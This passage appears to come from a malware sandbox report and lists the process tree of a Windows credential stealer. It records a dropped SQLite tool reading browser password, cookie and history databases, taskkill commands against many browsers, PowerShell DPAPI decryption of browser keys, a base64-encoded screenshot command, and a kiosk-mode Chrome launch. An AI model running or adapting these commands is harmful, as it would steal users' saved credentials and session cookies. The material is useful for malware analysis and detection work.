  PID:4580
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389210805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210961.sql"
  2⤵
  - Executes dropped EXE
  PID:4576
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389210805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210992.sql"
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211008.sql"
  2⤵
  - Executes dropped EXE
  PID:4520
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211039.sql"
  2⤵
  - Executes dropped EXE
  PID:3260
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211070.sql"
  2⤵
  - Executes dropped EXE
  PID:3284
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211102.sql"
  2⤵
  - Executes dropped EXE
  PID:3988
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211133.sql"
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211164.sql"
  2⤵
  - Executes dropped EXE
  PID:564
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211180.sql"
  2⤵
  - Executes dropped EXE
  PID:1864
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389211211_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389211211.sql"
  2⤵
  - Executes dropped EXE
  PID:648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:416
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780389211399_ju2ew.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780389211399_ju2ew.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\History_1780389212008_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212008.sql"
  2⤵
  - Executes dropped EXE
  PID:3080
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389212055_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212055.sql"
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389212055_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212086.sql"
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389212055_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212117.sql"
  2⤵
  - Executes dropped EXE
  PID:2160
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389212055_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212149.sql"
  2⤵
  - Executes dropped EXE
  PID:1416
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389212180_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212180.sql"
  2⤵
  - Executes dropped EXE
  PID:332
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389212180_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212211.sql"
  2⤵
  - Executes dropped EXE
  PID:4752
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389212180_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212227.sql"
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389212180_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212258.sql"
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389212180_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212289.sql"
  2⤵
  - Executes dropped EXE
  PID:1160
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389212180_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212305.sql"
  2⤵
  - Executes dropped EXE
  PID:3808
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389212180_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212336.sql"
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212367.sql"
  2⤵
  - Executes dropped EXE
  PID:540
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212383.sql"
  2⤵
  - Executes dropped EXE
  PID:3340
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212414.sql"
  2⤵
  - Executes dropped EXE
  PID:4612
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212430.sql"
  2⤵
  - Executes dropped EXE
  PID:3836
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389212461_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212461.sql"
  2⤵
  - Executes dropped EXE
  PID:5036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:3280
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
  2⤵
  PID:2016
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:1316
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1140
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1780389212727_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212727.sql"
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1780389212742_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212758.sql"
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\places.sqlite_1780389212774_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212789.sql"
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\cookies.sqlite_1780389212805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389212805.sql"
  2⤵
  - Executes dropped EXE
  PID:412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:4624
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  PID:688
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
  2⤵
  PID:1856
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:2960
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe"
  2⤵
  PID:1156
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM QQBrowser.exe"
  2⤵
  PID:3260
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM QQBrowser.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:3788
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 360chrome.exe"
  2⤵
  PID:2104
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM 360chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:4516
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:4292
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:2880
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
  2⤵
  PID:2984
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAzzYtCdqSuU268Uzcyc2M4BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAFxiKshAC5FYpVkYVYzqAsQFs7hMvKY34HFevQtmnT0sAAAAADoAAAAACAAAgAAAAUdQ3QhswU291pEbeiMRI9bpISGkjghXdJC/wkBu49PAwAAAAyWn/md+TiAfxU7DvfjRB5LE2UTqHv/o3AATYyJDil2f1b9I5+m9qQls7YlGmasIeQAAAAKn1h7yyf3AlCEzTWIIMJOofr+QACDnph0cEaxT4wkIa7TMjW5/ENLFeqxYRK0ZNSfCh/DNj4EcJ9sVWWacM9L4='),$null,'CurrentUser'))""
  2⤵
  PID:648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAzzYtCdqSuU268Uzcyc2M4BAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAFxiKshAC5FYpVkYVYzqAsQFs7hMvKY34HFevQtmnT0sAAAAADoAAAAACAAAgAAAAUdQ3QhswU291pEbeiMRI9bpISGkjghXdJC/wkBu49PAwAAAAyWn/md+TiAfxU7DvfjRB5LE2UTqHv/o3AATYyJDil2f1b9I5+m9qQls7YlGmasIeQAAAAKn1h7yyf3AlCEzTWIIMJOofr+QACDnph0cEaxT4wkIa7TMjW5/ENLFeqxYRK0ZNSfCh/DNj4EcJ9sVWWacM9L4='),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAzzYtCdqSuU268Uzcyc2M4BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAASG+prUzPvChtasE1bkW8PWkZvKaSoWQGt9PqFlYo7mAAAAAA6AAAAAAgAAIAAAAL/BpY7dc2na8p8B4p35Fm8UEESVzA1OBEbWHMu53pQnMAAAAA07I0rlwwjQVMwVLggDKcJAMwkAzMzig689UswafHfQz4HQPTvd+Bzp+IERn/PHE0AAAAAiU827nxlPXk3tgabjyY+6kNXPp94lbxyjEjOqysusJM361lCubpbNzXJoHyUwDOxciXwh4rOoaFPuoi9zKbUg'),$null,'CurrentUser'))""
  2⤵
  PID:3096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAzzYtCdqSuU268Uzcyc2M4BAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAASG+prUzPvChtasE1bkW8PWkZvKaSoWQGt9PqFlYo7mAAAAAA6AAAAAAgAAIAAAAL/BpY7dc2na8p8B4p35Fm8UEESVzA1OBEbWHMu53pQnMAAAAA07I0rlwwjQVMwVLggDKcJAMwkAzMzig689UswafHfQz4HQPTvd+Bzp+IERn/PHE0AAAAAiU827nxlPXk3tgabjyY+6kNXPp94lbxyjEjOqysusJM361lCubpbNzXJoHyUwDOxciXwh4rOoaFPuoi9zKbUg'),$null,'CurrentUser'))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand WwB2AG8AaQBkAF0AWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACcAKQAKAFsAdgBvAGkAZABdAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAnACkACgAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAApAAoAJABnAD0AWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkACgAkAGcALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAkAGIALgBMAG8AYwBhAHQAaQBvAG4ALABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAkAGIALgBTAGkAegBlACkACgAkAGIAbQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABkAGEAdABhAC0ANgB4AEIATgBEAEEAXABcAEMAYQBwAHQAdQByAGUALgBwAG4AZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAkAGcALgBEAGkAcwBwAG8AcwBlACgAKQA7ACQAYgBtAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2160
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --kiosk file:///C:/Users/Admin/AppData/Local/Temp/sys_4f2ea1e8/setup.html
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9e2b1c728,0x7ff9e2b1c734,0x7ff9e2b1c740
    3⤵
    PID:1564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1704,i,4189240447395179976,6243943904475751091,262144 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2000 /prefetch:2
    3⤵
    PID:2884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1524,i,13072998721904300946,4851205292193023413,524288 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2304 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,1326081496062705099,13527868753018875052,524288 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2588 /prefetch:13
    3⤵
    PID:1664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3316,i,10846160472952064312,9242064420061409518,2097152 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3368 /prefetch:1
    3⤵
    PID:1776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3320,i,6874818502496994904,14460338195943356668,2097152 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3388 /prefetch:1
    3⤵
    PID:244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4440,i,6122346827464922447,801918608816613509,2097152 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4456 /prefetch:9
    3⤵
    PID:3212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5276,i,11440243911955497680,17757255894209427842,524288 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5280 /prefetch:14
    3⤵
    PID:1992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5492,i,5238726276078705755,5896687805676598520,524288 --field-trial-handle=2004,i,5613700383577871272,8002463592569999045,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5524 /prefetch:14
    3⤵
    PID:4148
- - C:\Program Files\Google\Chrome\Application\chrome.exe
